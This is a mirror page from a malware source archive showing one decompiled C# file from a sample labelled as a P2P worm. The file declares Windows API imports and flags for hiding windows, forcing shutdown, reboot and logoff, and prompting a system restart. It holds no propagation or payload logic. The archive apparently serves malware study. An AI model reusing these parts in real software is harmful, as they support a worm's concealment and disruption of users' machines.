mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
45 lines
1.5 KiB
C#
45 lines
1.5 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: SadNet.api
|
|
// Assembly: SadNet, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 7CA2C9C9-C782-4D2C-95AC-6004CBF68D8D
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\P2P-Worm.Win32.Small.v-e11f1e1c2820f02fe46d7297e75a556346d661ee4bc64e6f222c74d56cf83bfd.exe
|
|
|
|
using System.Runtime.InteropServices;
|
|
|
|
namespace SadNet
|
|
{
|
|
public class api
|
|
{
|
|
public const int SW_HIDE = 0;
|
|
public const int ConsoleWindowClass = 1;
|
|
public const string amir = "hi i'm devil worm";
|
|
public const int EWX_LOGOFF = 0;
|
|
public const int EWX_SHUTDOWN = 1;
|
|
public const int EWX_REBOOT = 2;
|
|
public const int EWX_FORCE = 4;
|
|
public const int EWX_POWEROFF = 8;
|
|
|
|
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
|
|
public static extern int mciSendString(
|
|
string lpstrCommand,
|
|
string lpstrReturnString,
|
|
int uReturnLength,
|
|
int hwndCallback);
|
|
|
|
[DllImport("user32")]
|
|
public static extern int ShowWindow(int hwnd, int nCmdShow);
|
|
|
|
[DllImport("user32")]
|
|
public static extern int MessageBeep(int wType);
|
|
|
|
[DllImport("kernel32")]
|
|
public static extern int Sleep(int dwMilliseconds);
|
|
|
|
[DllImport("user32", EntryPoint = "FindWindowA")]
|
|
public static extern int FindWindow(string lpClassName, string lpWindowName);
|
|
|
|
[DllImport("shell32", EntryPoint = "#59")]
|
|
public static extern int SHRestartSystemMB(int hOwner, string sExtraPrompt, int uFlags);
|
|
}
|
|
}
|